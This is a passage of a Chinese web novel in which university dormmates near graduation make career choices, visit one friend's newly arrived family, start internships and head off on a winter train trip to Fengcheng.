寝室里一阵沉默,还是老大姐吕新芳走过去,把双手搭在吕新芳肩头,认真道:“明月,这是你人生中至关重要的一个决定,我希望你能认真思考,不要在意其他,只问清你自己的内心,看你心里真正想要的是什么。” “你放心,不管你做什么决定,作为与你并肩奋斗的伙伴和相识四年的好朋友,我永远支持你。还有我们的工厂,不管你是走是留,她的大门也永远为你敞开。因为有你,才有她的诞生。” 管明月拉过她的手,一边紧紧攥住,一边用力点了点头。 留校的事,本来刘导员以为可以在管明月这里直接得到肯定答复,没t想到这个学生同样在校外参与创办了工厂,而且听起来规模也不算小。 刘导员一看这样,知道学生一时恐怕下不了决心,便耐心地提出让她先回去考虑一下。 但明眼人都知道,这种事不可能拖得太久,所以留给管明月的时间其实也不多。 大家看她纠结烦恼的样子,都体贴地压下了原本要出去庆祝的话。 没想到管明月自己却不答应,等下午大家都没课了,便不由分说张罗着出去吃饭。 六人就找了一家学校附近新开的小饭馆。 等点齐了菜,刚夹了两筷子,管明月破天荒地忽然要了一瓶啤酒,刘思彤和万美君立时把目光投向苏丽珍、吕新芳和陈红梅,见她们仨只是摇了摇头,什么都没说,便也跟着没吭声。 苏丽珍看着管明月给吕新芳和她自己分别倒了一杯酒,心中明悟,已经猜到了管明月的选择。 看来明月就是明月,心思澄明,拿得起、放得下,且只要心中有了决断就不再犹豫,半点不会拖泥带水。 这种果决和坚定,也是她最欣赏对方的地方。 事实跟苏丽珍想的差不多,管明月提起酒杯,第一个先敬吕新芳。 “芳姐,对不起,我……” 吕新芳却没让她把话说完。 “明月,还记得我之前在寝室里说过的话吗?不管你做什么决定,我都会支持你。还有,你一定要记住,‘芳月’是我们俩共同的心血,她永远有你的一份。” 管明月眼圈发红,她飞快抹了把脸,道:“好,我记住了!芳姐,我敬你一杯。”说罢,将杯中酒一饮而尽。 吕新芳也陪了一杯。 管明月没停歇,又起身给所有人都倒了酒。 “姐妹们,我想好了,我选择留校。虽然舍不得芳姐和我们的厂子,但我还是想试一试另外一条路。” 其他人互相看了看,陈红梅率先笑了起来:“这是好事,看你这苦大愁深的!姐妹们,咱们为老三鼓鼓掌,祝贺她光荣留校!” 吕新芳第一个响应:“老三,祝贺你!” 苏丽珍、刘思彤和万美君异口同声:“三姐,祝贺你!” 苏丽珍又马上补了一句:“以后还请咱们管老师多多关照!” 一声“管老师”让大家都跟着起哄,气氛一下就起来了。 调整好情绪的管明月立马配合地挺了挺腰身,故作深沉道:“好说好说,管老师都给你们记着呢!” 大伙儿立时笑作一团。 管明月这边有了决断,她也没忘了今天出来的主题,把苏丽珍拉出来,让大伙儿也都祝贺一下她们寝最能干的小老六。 笑闹了一会儿,又说回正事,管明月就趁机说起厂子接到大单,想给万美君支付设计费。 后者一听这个,原本嘻嘻哈哈的小脸一下就不满起来。 “芳姐、三姐,你们就非要跟我这么见外吗?” 吕新芳劝她:“小五,一码是一码,要是寻常帮忙干活,我们也就不提了,可我们是要反复使用这些设计去盈利的,那自然该有你的一份报酬。而且这是你的作品,如果将来你有意继续往这行发展,它们就是你的代表作。所以咱必须要开个好头,听我的,这钱你一定要拿着。” 万美君还是不肯,管明月和吕新芳对视一眼,两人下午碰过头,这会儿就决定用之前苏丽珍给出的主意。 管明月便道:“小五,不如咱们折中一下,我们在这笔管理费上加个年限,你看怎么样?” 万美君听完,眼珠一转,非常光棍地表示,如果她们一定要给,那她就要半年的设计费,提点也不是什么8%,她只要1%。 后来其他人帮着说了半天,最终将这笔设计费年限定在了两年,提成也定在了5%。 万美君虽然答应了这件事,但还是肉眼可见地不高兴,总觉得姐姐们跟她太见外。 苏丽珍便适时开口,转移话题。 她郑重向在座的其他五人发出邀请,想在寒假期间邀请大家去凤城游玩几天。 第216章 还有一个学期就毕业了,大四下学期她们要准备毕业论文和答辩,在六月底之前拿到毕业证,然后就是等待学校分配工作。 这两年国家对大学生的毕业分配管理放松了许多,学生可以根据自己的意愿填报分配区域和单位。 也就是说,如果你能提前跟某个相中的单位联系好,确定用人单位愿意接收,基本上就会成功分配过去。 要是放在老三届那会儿,毕业生分配按照国家的建设需求,采取统一强制性,真不一定会分配到哪里。同一个专业、同一个班,天南海北也是完全有可能的。 那时候毕业之后,再想见一面就不容易了。 相比之下,他们这一届要好一些,只要你足够优秀,总能多一点选择余地,不管是留在就读所在地、还是家乡,都有机会。 尤其庆幸的是,她们寝除了陈红梅毕业回海市,其他人大概率都要先留在首都,想见面的时候还能见一见。 可毕业后身份转变,乱七八糟的事情也多了,再想像学生时代那样痛快淋漓地玩一场恐怕很难。 所以苏丽珍想邀请大家去家乡玩一段时间,就当做是她们212寝室的集体毕业旅行,纪念她们美好的青春和友谊; 另一方面,通过这次举办展销会,她跟省内不少企业也有了几分交情,她就想带着大家去这些企业参观学习一番。 特别是其中好几家企业还参加过广交会,有连续几年的出口创汇业务,对于学习外语的刘思彤和万美君说不定也能有些助益。 就算派不上用场,毕业前多走走、多看看,提早感受一下各行各业的工作氛围,对大家心境上的提升也是一份帮助。 这也是她考虑许久后的想法。之前办展销会,大家都没少出力,可以说今天她能取得这么好的成绩,离不开寝室里好姐妹们的尽心帮助。 她也想回报大家,但她跟万美君的情况不同,直接谈报酬反而伤感情,所以她思来想去,决定邀请大家来凤城,游玩加学习,怎么开心怎么来。 大家都被苏丽珍描述的好光景迷住了,一个个兴奋不已,都恨不得学校明天就放假,她们好跟着小六去凤城,去看看豪迈的大东北! 后来的饭桌上的话题就再离不开这个了。 直到吃完了饭,回到寝室,洗漱完躺在床上,大家依然满怀憧憬。 不过,期待过后也有淡淡的不舍情绪。 因为这很可能是她们寝室六姐妹毕业前的最后一次集体行动了。 吕新芳就感叹道:“想想时间过得真快,和你们在这里第一次见面好像还是昨天。” 刘思彤也小声道:“是啊,那会儿我还想着四年的时间好长啊,没想到这么不禁过……怎么办,我现在就开始舍不得大家了。” 管明月跟着附和:“谁说不是呢,再过一个学期,就只剩下我和小六了,想想真是舍不得!” 一句话,除了苏丽珍之外的所有人都愣住了。 陈红梅忍不住道:“为什么是剩你和小六?” 管明月也懵了一瞬,这才后知后觉反应过来,不由拍了拍脑门:“嗐,这事闹得,光顾着我这点事了!刚刚忘了说,咱小六直接保研了!” “啊,你们俩真是的,怎么这么重要的事也能忘!” “小六,恭喜你,这可是好事!” “珍珍,好样的!” 唯有刘思彤和万美君看着苏丽珍,一脸同情。 “可要是保研的话,那岂不是说咱们小六还要再接着念两年……” “是啊,这四年可一点不轻松,想不到都要毕业了,你这还要再熬两年!” 陈红梅过去,给两人脑门上一人轻拍了一记。 “你们乱说什么!这是研究生,等毕业就是硕士了,从来想要好工作都是嫌学历低,可没人嫌学历高的!” 万美君不服气:“二姐,你说得好听,那你怎么不去考研?” 陈红梅轻咳一声:“其实我觉得眼下相比读书,我还是更适合早一点走向社会,多搞搞实践。继续深造之类的,还是咱六儿更合适。” 苏丽珍:…… 其他人都忍不住捂嘴偷笑。 一夜无话,第二天一早,管明月就去找刘导员回话。 等再回来时倒是带了一个好消息,那就是留校的事敲定后,厂子那边可以先不急着分割,刘导员告诉她,只要能在明年七月之前处理好这些就行。 眼下还有大半年的时间,t足够她再帮吕新芳忙一段时间了。 吕新芳得到这个消息,着实是松了口气。 她悄悄跟几个好姐妹说了实话,别看她昨天说得轻松,其实完全是不想让管明月有太大压力,她自己心里还是挺没底的。 这事,苏丽珍完全理解。 经营一家工厂本来就不是什么简单的事,再加上吕新芳她们正处于事业上升期,展销会后更是销量激增,这个关键时刻,少了合伙人,想想压力就爆表。 不过对于吕新芳来说,眼下好消息并不只一桩。 三天后,吕家大伯娘带着一大家子来了首都。 吕新芳终于能跟父母亲人在首都团聚了。 与此同时,吕家新买的小院装修完也晾得差不多了,吕家人正好可以直接入住。 团圆之喜加乔迁之喜,这样的双喜临门,吕新芳心情好的不得了。 周日,212寝室的全体成员再次集体行动,大家背着吕新芳凑了份子钱,在家具店订了一套最新款式的橱柜作为贺礼,送给吕新芳。 等到了吕家,吕家人一听说是一直帮助自家闺女的室友们来了,都十分高兴。 吕新芳的奶奶和大伯一家虽然瘦弱,但气色看着还好。 尤其是吕新芳的奶奶,身上有种说不出的坚定可靠,叫人看着便倍感心安,就好像只要有她老人家在,无论外面再大的风风雨雨,都不会影响到家里人。 大家只一眼,便看出吕新芳是随了吕奶奶。 吕奶奶显然很喜欢她们几个,把从豫省老家带来的小吃全都拿出来,一样不落地塞给她们。听吕新芳的大伯娘说中午要包饺子,老太太又从自己兜里掏出一小叠毛票,嘱咐吕新芳去饭店订几个菜回来。 吕新芳忙说自己有钱,老太太不禁板起了脸,吕新芳拗不过老人家,只得乖乖接了钱。 难得看到她们寝室长兼大姐这副样子,苏丽珍几个都忍不住抿嘴直乐。 只吕新芳的父母是聋哑人,只能靠打手势沟通,哥哥也有一只手属于重度伤残,一直垂在身侧,被用长长的衣袖遮住。 三人明显对苏丽珍等人的到来满怀激动,但又怕自己的样子吓到几个姑娘,更怕给自家闺女(妹妹)丢脸,所以只远远站在门口的位置,并不靠前。 但凡招待她们的吕奶奶有点什么动静,他们也跟着团团转,叫人看着便有些心酸。 后来还是苏丽珍几个不断表现出近亲之意,吕爸吕妈他们才渐渐放开。 等中间又一起热热闹闹吃了一顿饭,吕妈已经能坐在几个姑娘中间,一手被一人拉着,笑眯眯看她们说笑玩闹了。 半下午,她们准备离开的时候,吕家人很是不舍,一再叮嘱大伙儿要常来玩。 直到她们走出很远,回头再看,这一家人还站在原地不肯回去。 第二天,苏丽珍又悄悄跑了一趟吕家,挑了一个时下最受欢迎的电饭锅送了过来。 独自在家的吕新芳眉头皱得紧紧的,看着苏丽珍的目光里满满的不赞同。 苏丽珍笑着解释:“芳姐,你别这么看着我,这是我爸妈的意思。你要是不收,他们准要打电话怪我不会办事。” 苏丽珍还真没撒谎,苏卫华夫妻感激吕大伯娘这几年对四合院看顾精心,这两年他们一大家子偶尔会过来看看,无论什么时候进门,那屋子里总是干干净净的,可见是多么上心,所以一听说吕家马上也有乔迁之喜,自然也想表达一份心意。 要不是惦记老家的小麦和芽芽,他们不好多呆,不然怎么也要亲自过来一趟,所以只好把这事全全委托给了自家闺女。 苏丽珍琢磨许久,考虑到吕新芳家人的身体状况,又从实用性出发,最后选了这台价格适中、又方便省事的电饭锅。 苏丽珍搬出了苏卫华夫妻,吕新芳一时还真不知道怎么拒绝。 这几年她既要上学、还要看顾厂子,珍珍家的四合院其实更多还是她大伯娘帮着打理。 所以这礼物不只是为了她,这里也有她大伯娘的一份。 她自然不能替她大伯娘做主,赶巧这会儿她大伯娘带着一大家子去澡堂了,偏偏就不在家。 没想到趁着她这一愣神的工夫,小六直接朝她挥挥手,飞快溜走了! 吕新芳:…… 苏丽珍独自走在不时有孩童玩闹声响起的胡同里,享受着十月微凉的秋风,回忆起昨天管明月向吕奶奶推荐去澡堂泡澡解乏的情形,不由弯起了唇角。 进入十月中下旬后,大家的课程陆续结束,时间更充裕了起来。 苏丽珍便去看望了一次沈老爷子,顺便打听一下沈瑞什么时候回来。 她还惦记着想找时间跟对方好好谈一谈。 沈老爷子见她破天荒地主动问起自家小孙子的事,起初还挺高兴,等后来弄明白了苏丽珍的意思,顿时失望不已。 看着老人家失落的样子,苏丽珍也有些不落忍,可这事实在不能再拖,而且她也希望老人家帮着劝一劝,以沈瑞的条件,什么样的好女孩找不着?真没必要在她这儿费心思,耽误时间。 第217章 沈老爷子也没说什么,只是肉眼可见地蔫巴了,也不再提沈瑞的事,只眼巴巴地看着苏丽珍,说他现在也没别的想法了,就是觉得这日子过得没意思,希望她能常来看看自己,陪他说说话、吃吃饭。 老爷子其实也很想念苏爷爷,只是知道对方眼下在凤城日子过得有滋有味,也不忍心多打扰。 沈老爷子这样,叫苏丽珍看得也有些心疼。沈家大大小小的人要么忙工作、要么忙学业,从前三不五时就上门陪伴的苏爷爷更是一走好几年,许久才能见上一回,也难怪老人家寂寞。 苏丽珍当即答应了下来,保证今后只要在首都,但凡有时间就必定过来看望他。 口头答应还不算,当天还直接被老爷子留下陪着一起吃了中午、晚上两顿饭,一直待到天擦黑,才被警卫员开车送回学校。 坐在车上,她看着临出门前被老爷子硬塞到手里的一张纸,纸上写着沈瑞在各地的办事处联系方式,甚至连今年在米国刚注册的公司都有! 苏丽珍:…… 她不禁有些哭笑不得,这沈老爷子把她都给忽悠住了。 可她拿着这些联系方式也没用,以沈瑞的狡猾,就算两个人当面谈都保不齐会让他钻空子,叫她没法强硬起来,更何况是在电话里。 而且这事也不适合在电话里谈。 老爷子看来还是没死心。 她心中苦笑,难为沈爷爷这样看重她,只是她……终究是不配的。 与此同时,沈家,沈老爷子在送走苏丽珍后,脸上亲切的笑容倏地一收,留下莫名其妙、相顾无言的沈家其他人,三步并作两步钻进书房里,抄起电话,熟练地拨了一个号。 等电话那边一接通,老爷子抱着话筒就是好一顿数落。 “完蛋玩意儿,留你有啥用,啥事都办不明白!” “就知道躲,那要躲着有用,老子当年坟头草都不知道换几茬了!” “关键时刻,还得我这老头子给你往回找补……” 电话那头的沈瑞一边看着手里的文件,一边听老爷子骂人,等确定老爷子骂够了,才淡定开口道:“爷爷辛苦了,您老还得多费心!事关我未来的妻子,您的孙媳妇,孙儿也只能靠您了!” 声音温和中带着慵懒,诚恳中透着无赖。 沈老爷子:“……” 老爷子深吸一口气,“啪”的一声,直接挂了电话。 沈瑞:“……” 好笑地放下电话,他将目光投向窗外霓虹闪烁的热闹街头,露出深思的神情。 特区的变化当得起一句天翻地覆,谁能想到一个曾几何时贫穷到连几座像样的房子都找不出来的小渔村,短短几年能有今日的耀眼辉煌。 所以世间万物,大抵还是变则通。不管结局是什么,首先要试着去变一变。 或许他也一样,既然一条路走不通,那就转换另一个思路。 他回想着爷爷在电话里透露的信息。 她这次这么坚定地要跟他把话说清楚,无外乎是不想再接受他对她的付出。还有之前他在她室友们面前故意表现出的亲近,估计也碰了她的底线。 如果按照他先前的想法,也许会默默调整好情绪,然后保持距离,尽量不给她带来太大的负担,也不去影响她的生活。 可现在,他忽然有了别的想t法。 他还会尽量克制自己出现在她身边,但他会对她更好,比之前更加尽心尽力,包括对待她格外在意的亲人、朋友和事业。 他发现了,这个姑娘的心很大,能容下太多的人和事,她的心也太小,丝毫没有爱情的位置。 既然这样,就让他以另一种方式走到她身边,陪在她身边。 直到被她真正看在眼里、放在心上。 她对他,可以没有爱情。 没关系,他有就好了。 大四课程结业后,学校开始安排学生们参加实习。 各单位发给他们学校的实习邀请很多,学校会根据专业对口、学生个人表现等综合因素尽可能将学生推荐到合适的岗位。 212寝室,除了管明月留校开始助教实习外,包括苏丽珍在内都分配了相应的实习单位。 虽然苏丽珍已经拿到了保研资格,但是刘导员还是建议她在时间充裕的时候去好的单位里锻炼锻炼。 他推荐的单位是国民经济综合司综合处办公室。 国民经济综合司归属于国家计划委员会,是国家经济发展规划和政策制定的重要部门。 综合司下辖六个部门,综合处,总量处,预测处,分析处,消费处,资源处。其中综合处负责汇总编制国民经济和社会发展的年度计划,作好社会总需求和总供给的综合平衡①,更是重中之重。 实习期是两个月,苏丽珍的实习岗位是综合处二处一科室的办公室科员。这个机会对苏丽珍来说非常宝贵。 以她今后的发展规划来看,大抵是没有机会在政府机关工作了,尤其还是这么重要的部门,所以当刘导员才开了个头,她就欣然答应了。 这应该会是她距离政策制定部门最近的一次了,不说见识、人脉这些,只单单能近距离体验一下这种职权部门运作的机制就很难得了。 实习是从十一月一号开始,本人提前一天去单位报道。 眼下还有十来天的时间,苏丽珍就把心思先放在了公司这边。 得益于十天前七、八份报纸的信息“轰/炸”,现在她的“珍珍食品”在首都更有名了!几家百货公司的补货速度特别快,各区域的代理商也反应良好。 “珍楼”这边,一楼由隔断改造出来的那一半产品零售区,每天的客流情况都相当不错。 这一波销售盛况持续了十多天,眼见着要开始趋于平稳,没想到这时候,吕新芳和管明月居然一声不吭,直接给她拉来了一车吉祥物玩偶,让她赶紧拿去做为回馈顾客的赠品之类,争取再为公司制造一波销售热潮。 看着那一车有大、有小分成好几个规格,但无一不精致灵巧的玩偶,苏丽珍一颗心又酸又软! 作为两人的室友,她自然知道这段时间订单激增的“芳月”工厂有多么忙碌,然而就算这么紧张的时候,两个好朋友还惦记着给她做玩偶,她又怎么可能不感动! 苏丽珍这次很痛快地接受了好朋友们的心意,没有提给钱的事。 她知道,如果她坚持给钱,才是真的浪费了好友们的一片真心。 不过关于这批玩偶的处理,她的想法与两人稍有不同。 从之前的展销会预热宣传,到后期在各大主流媒体上露脸,现在他们“珍珍”食品在首都地界已经不缺少知名度了。 凡事过犹不及,频繁搞活动很容易引起人们感官疲劳,甚至是逆反心理,所以在已经确定吃到了前两次大搞宣传的红利后,就该适当低调一下。节节攀升的销量固然好,但稳中有升才是最佳路线,当下他们最该做的就是放缓节奏,巩固已经吃下的市场份额。 所以,她打算把这批玩偶先好好收藏起来,等以后遇到年节之类特别的日子再拿出来,效果也会比现在好,这才是“好钢用在刀刃上”。 不过首都这边可以暂时低调,但是首都之外的地区却不用,甚至她还打算配合着首都主流媒体的报道,再多加一把劲儿,在中、南部一些大型城市加大宣传力度。 虽说市场那么大,光凭他们一家肯定不能全吃下,但话又说回来,市场就那么大,你不占,自然有人占。 趁着这股东风,她要先往中、南部市场探一探。 这一次她不打算再进驻当地的百货公司,一方面是这些百货公司的提点过高,而眼下物流成本不低,去掉这两项,产品利润几乎不剩多少,实在不划算;再一个,随着私营经济的发展,许多百货公司日渐式微,她不打算用自家的产品去赌那些有颇多弊病的企业未来。 按照她的计划,是在这些地方同时设立自营门店,并兼顾招商代理计划。 原本振东叔认为,开自营门店成本过高,不如直接先招一批代理商,等市场发展起来,他们再发展自己的销售渠道。 但是在她看来,搞加盟固然能够分担初期投入成本,同时降低企业进入新市场带来的风险,可弊端也很明显,就是当地市场的发展过于依赖代理商个人的表现,一旦代理商自身出现问题,必然累及企业和产品自身。 一件商品口碑崩盘很简单,想要再挽回却需要百倍、甚至千倍的代价。 而且一旦当地的市场发展起来,代理商彼此抱团,后期就算是公司自己的门店开过去也未必能讨到便宜。 所以为了稳妥,她还是希望搞自营店+代理商的双重模式,各自划分好销售区域,互不干扰,同时也能达到互相监督的目的。 苏丽珍跟苏振东敲定好方案后第二天,苏振东就赶到了首都,一方面是接洽对“珍珍食品”感兴趣,有加盟意向的中、南部地区代理商。后者先由苏丽珍进行初步筛选,觉得各方面条件合适才交给苏振东,做进一步详谈。 另一个方面,苏振东这次又从总公司带过来一批表现出色的优秀员工,这批员工主要是来接替“珍楼”这边的十几名员工骨干。后者今后将被安排到中、南部地区的自营门店挑大梁,所以让他们临走前再带一带这批员工,争取让大家尽快适应首都这边的节奏。 忙完了公司这边的事,临近十一月,她开始潜下心来,为即将到来的实习做准备。 不过就在她即将去实习单位报到前,却意外又惊喜地接到了谢芳芳的来信—— 作者有话说: ①注:本章国民经济综合司内容来源于百度百科。 第218章 谢芳芳因为出色的数学成绩,去年被系里一名老教授相中选为自己的学生。刚好今年八月,老教授受邀要参加一个国家级的研究项目,谢芳芳就被老教授一并带了过去。 项目的保密级别很高,别说研究什么,就连谢芳芳具体去了哪儿都不能说。 所以尽管苏丽珍非常想念对方,却苦于没有对方的联系方式,只能一直等着。 好在时隔三个多月,她终于收到了对方的来信。 信很长,从每天几点钟起床吃饭、几点钟睡觉,到食堂特别好吃,她都已经长胖了两斤,再到她现在的头发有点长,但是每次都狠不下心剪掉之类,林林总总,通篇都是些琐碎却很可爱的小事。 是典型的谢芳芳风格。 苏丽珍看着,总觉得那个表面骄傲、实则单纯率真的女孩,此刻就在她眼前皱着鼻子唠叨。 心里的想念就更加浓烈了。 在一口气写满了三页有关自己的日常后,到第四页时,谢芳芳忽然笔锋一转,说她在首都那边的报纸上看到了关于苏丽珍和她的展销会的消息。 她祝贺苏丽珍展销会圆满成功,又一次打响了“珍珍”的名气,然后又用了足足一张信纸夸她厉害,夸她给他们凤城人长脸。 她还说,她已经把有关苏丽珍的采访报道全部收集起来,专门做了一份简报,以后要好好珍藏。等将来她们都老了,她就把这些简报拿出来,然后汇总编制成书,书名就叫《我最厉害的企业家好友》,到时候让所有人都羡慕她! 苏丽珍看得想笑,又有些鼻酸。 信的最后,谢芳芳提到她大约每隔三到六个月能跟她联系一次,联系方式只限于写信。 苏丽珍也可以给她回信,回信的t地址就按她的寄信地址来。 最后的最后,有一行勾掉的字,虽然勾的比较细致,但苏丽珍将信纸摊在阳光下细细查看,还是看清了那句话: 珍珍,我想家,也想你。 这行字被小心勾掉,最后只留下了一句成熟到完全不像谢芳芳风格的话: 珍珍,我在这边一切都好,不用惦记。 苏丽珍却再次红了眼眶。 芳芳,我也很想你。 她坐在学校湖畔的石阶上,将信纸轻扣在心脏的位置,心间浮起浓浓惆怅。 虽然在大学也交到了志同道合的好朋友,但是一起走过难熬的高考岁月的谢芳芳和卢向阳他们在她心里的位置同样重要。 芳芳这里还好,虽然联系时间有限,但她起码能收到对方的消息,不像卢向阳,同样是早早被上级部队挑走,却至今音讯全无,别说干什么,连人去了哪里都不知道。 现在,她只能告诉自己,不管是芳芳、还是向阳,他们都在各自的领域里发光发热,是在为建设美好的祖国而努力,在为完成伟大又光荣的使命而奋斗。 能成为他们的朋友,苏丽珍骄傲又荣幸。 好朋友们都在努力,她也不能懈怠,要牢牢追赶他们的脚步。 她收拾好情绪,抹去眼角的泪水,第一件事就是回寝室给谢芳芳写回信。 这封信寄走的同时,她又给对方寄去了一大包自家生产的熟食和几家凤城老字号的食品。 得益与展销会的成功,那几家老字号食品企业现在在各大百货公司都有固定货架,据她观察,销量都很可观,这倒为她自己也提供了不少便利。 虽然从谢芳芳的信里看,她那边供应条件不错,但是她还是想寄去一些家乡味,希望能让好朋友缓解一下对家乡的思念。 临到寄包裹前,想起对方那一头长发,到底又买了一大包眼下最流行的发圈、发饰也一并寄了过去。 她相信以谢芳芳的性子,不管在那边方不方便戴,只要看着这些就会开心。 时间进入十一月,苏丽珍也开始了自己在经济综合司综合处的实习工作。 综合处一共有两个处,每个处各有三个科室,苏丽珍被分到了综合处二处一科室。 这次首都大学过来实习的除了她之外,还有一个男生,这位也算是老熟人,是隔壁金融专业的班长。 大一上学期那会儿,吕新芳摔伤住院,这位郭班长曾组织同学轮流来看护,是个很有责任心的人,苏丽珍对他印象很好。 两人报道第一天,一科室的科长便亲自带着他们把整个综合处走了一遍。 苏丽珍因为前段时间在报纸上频繁露脸,科长当时就认出了她,还十分感兴趣地问了她好几个问题。 苏丽珍一一认真回答,科长听完点了点头,还鼓励她今后继续努力。毕竟国家未来的发展方向是大搞经济建设,私营经济这一块必定也会蓬勃发展,像她这样有能力的年轻人更要把握机会加油干,给后来者趟出一条光明的路子。 苏丽珍虚心接受了教诲。 当然,科长也没忘了一起的郭同学,同样跟他交流了好几个问题,全程不偏不倚。 其实苏丽珍感觉到了郭同学有一点紧张,好在科长人比较温和,在他有意引导下,郭同学很快放开来,开始侃侃而谈。 她看得出,郭同学专业知识非常过硬,个人实力也是很强的。 虽说大学生毕业包分配,他们首都大学的毕业生更是不愁工作,但是单位和单位还是有区别的。比如眼下的经济综合司,那就是打着灯笼也难找的好工作。 她猜测郭同学是有意向留在这里的。 她心里也有淡淡的惋惜,能留在这样的部门工作,就算是上辈子恋爱脑发疯的她也是不敢奢望的。 只是她已经给自己选好了路,那就不容许再三心二意。 坚定了心意的她开始认真工作,不管怎么说,这段经历太宝贵,就算只有两个月,她也分外珍惜。 负责带他们的是一科室办公室的一位大姐,姓何,人看着比较严肃,但其实性格很好,带他们时也比较用心。 实习的工作整体来说比较简单,主要是整理文件,汇总数据,接打电话,跑腿送信。看着杂七杂八,但是用心的话,也能学到不少东西。 起码她很快就弄清楚了综合处的工作流程,以及本部门的核心工作内容。 摸清了基本运作规律后,苏丽珍又给自己准备了一个联络簿,利用跑腿的机会记下了包括综合司其他部门在内的大多数人的联系方式。 所谓“有枣、没枣打一杆子。” 她天天在办公楼里跑也不是白跑的,都说见面就有一分香火情,今后说不定什么时候能派上用场。 时间就在她每天有计划的忙碌中过得飞快,眨眼两个月过去,实习结束。 在确定了一科室的科长已经找郭同学谈话,后者毕业后会留在综合处后,临别前夕,苏丽珍给这两个月期间接触过的所有人都准备了一份小礼物。 何姐和科长的稍微贵重一点,但也在纪念礼的合理范畴内,不算逾矩。 最后,她给郭同学也准备了一份。 虽然综合处的人都知道她已经成功保研,且已经创办了属于自己的企业,未来基本不会留在综合处,但是作为唯二一起参加实习的两个人,她和郭同学天然存在一个被比较的关系。此消彼长,一个优秀了,很容易会衬托出另一个人的不足。 苏丽珍本着人脉的关系,从过来实习第一天起就十分努力,希望最大限度给综合处的人留下一个好印象,所以即使她并没有存心跟郭同学较劲儿,但因着这一份表现,或多或少都会给郭同学造成影响。 不过郭同学非常沉得住气,从始至终没有表现出任何不虞,且一直按照自己的步调做事,十分稳得住。单冲这一点,苏丽珍就很欣赏他。 所以能跟对方保持一个友好的关系,也是苏丽珍乐于看到的。 郭同学似乎没想到会收到她的礼物,不过他只短短惊讶了一瞬便恢复如常,大大方方接过礼物。 道过谢后,他犹豫了一瞬,最后还是看着苏丽珍认真道:“苏同学,虽然你给了我很大压力,但我必须要对你说,你真的很优秀,我佩服你!” 苏丽珍怔了怔,也以同样诚恳的态度回道:“谢谢,其实我也想对郭同学你说这句话,你在我眼里同样如此!”说罢,率先向对方伸出了自己的右手。 郭同学伸手回握,两人相视一笑,难得有些惺惺相惜。 都是聪明人,自然能看出对方眼中的真诚不作假。 虽然迟了一点,但苏丽珍觉得,这一刻她收获了来自郭同学的友谊。 也为这两个月的实习之旅画上了圆满的句号。 实习结束后,刚好是元旦,过完阳历年紧接着就是期末考试。 因为这学期课程少,考试也不多,一月五号,苏丽珍就完成了所有考试科目,可以放假回家了。 她又等了两天,直到寝室里所有人都考完试,吕新芳和管明月这边也把厂子的事安排好,立马买票,带着好朋友们回凤城了! 她们六人虽然在学校里经常集体行动,但一起坐火车还是头一回。几个姑娘十分兴奋,扒着车窗看着外面沿途的景致叽叽喳喳讨论得热火朝天。 明明这大冬天的北方平原上,除了稀稀拉拉的一点白雪外,就是大片大片的土黄色。 黄色的土地,黄色的草根,还有黄色的枯叶,但是这几个人就是看得津津有味,顺带还要热火朝天地讨论一波。 连一向最稳当的吕新芳也不例外。 这次寝室集体行动,苏丽珍能看得出来,吕新芳是真的彻底放松下来了。 第219章 自打吕家人搬到首都,大概是在意的亲人都在身边,加上一家人心往一块儿使,吕新芳也不再像之前那样什么都急着往自己肩上扛。 在征得合伙人管明月的同意后,吕新芳把两个堂哥也带到厂子里。 两个人都从车间最基础的工作做起,先从熟悉各岗位的工作流程开始,之后再根据两人的专长和兴趣转岗。 两个堂哥很实在,无论是什么工作都干得特别认真。用管明月的话说,她好几次都想跟芳姐说说,要不给两个大哥多发一份工资,那明显干得就不是一个人的活儿。 眼瞅着两个堂哥在厂子t里干得红红火火,吕新芳的亲哥哥却自卑于自己残疾的右手,不愿意出门,生怕给吕新芳丢脸。 吕新芳苦劝了好几次都没用,有一回实在是气狠了,回到寝室就落了泪,可把大伙儿担心坏了。 等问清楚怎么回事,212的姐妹们开始发力,纷纷帮着出主意。 大家先弄清楚了吕哥哥平常比较擅长什么,得知对方算数特别厉害,记性也好,都觉得这是天生干财会的料子。 姐妹们就让吕新芳每天都装作特别疲累的样子,然后把厂里的账本啊、销售单据之类的带回家,故意表现出疲于应付的状态,让吕哥哥心疼妹妹,主动帮忙处理。 为了给吕哥哥增加信心,一开始的账目比较少,大多是一些加加减减需要记录的单据,不需要多少财会知识,只要细心一点就能处理。 吕哥哥虽然没上过学,但是一直跟着家里两个堂哥和妹妹自学认字。他又十分刻苦,不但练出一笔漂亮的左手字,家里堂哥和妹妹们用过的教材也被他背得滚瓜烂熟。 他缺的也不过是一张正式的毕业证书而已。 有了吕新芳故意“布局”,加上家里人配合,吕哥哥果然“中计”,没多久就开始主动帮妹妹处理那些琐碎的单据账目。 吕新芳是学金融的,其中就有基础财会课程,她就故意把涉及财会入门的专业书忘在家里。 吕哥哥对那本书很感兴趣,不久就开始认真钻研起来。 如此水到渠成,等有一天吕新芳又故意在家里念叨厂子急缺财会人员时,吕哥哥起先是沉默,之后便鼓起勇气跟妹妹提出想过去试一试。 这一试自然是试成了。 不说吕哥哥本就有这方面的天赋,他本人也是格外用心刻苦,有天赋又肯努力的人,总会有回报的。 眼下吕哥哥已经开始在“芳月”的财务部上班,先从最基本的出纳做起。 上个月吕新芳又托管明月爸爸帮忙,找人给吕哥哥建了一份学籍,先拿到初中毕业证,等年后就报考电大财会专业,进行更系统地学习。 眼见着吕哥哥找到自己喜欢做的事,不久的将来还会有一份能养活自己的技能,吕家人都高兴坏了。 这也是吕新芳能真正放下肩上重担的原因。 苏丽珍特别为对方高兴。 同样是家境艰难,吕新芳的境遇比前世的她更糟,但她却始终不改初心,不向苦难屈服,更不会叫苦抱怨,坚强又坚韧。 苏丽珍敬佩她,打心眼里盼着她好。 太阳西沉,火车渐渐进入偏北地界。随着车窗上的冰花开始蔓延,几个一直凑在窗边研究外头风景的人才真正感受到了来自东北冬天的凛冽。 她们坐的是卧铺车厢,因为靠近餐车的缘故,其实还不怎么冷,几个人之前听了苏丽珍的劝,这次过来厚衣服都没少带,结果上车的时候捂出一身汗,一进车厢就非要往下脱两件。 这回都不用苏丽珍劝,一个个都老实了,麻溜回到自己的铺位上,把厚衣服捡起来把自己捂严实了。 苏丽珍看差不多到饭点了,去餐车订了几份热汤面和小炒,让大家吃完暖暖身子。 小炒要等一会儿,苏丽珍索性先回车厢等。 从餐车出来,往回走的时候,一个售货员刚好推着小铁皮车过来。 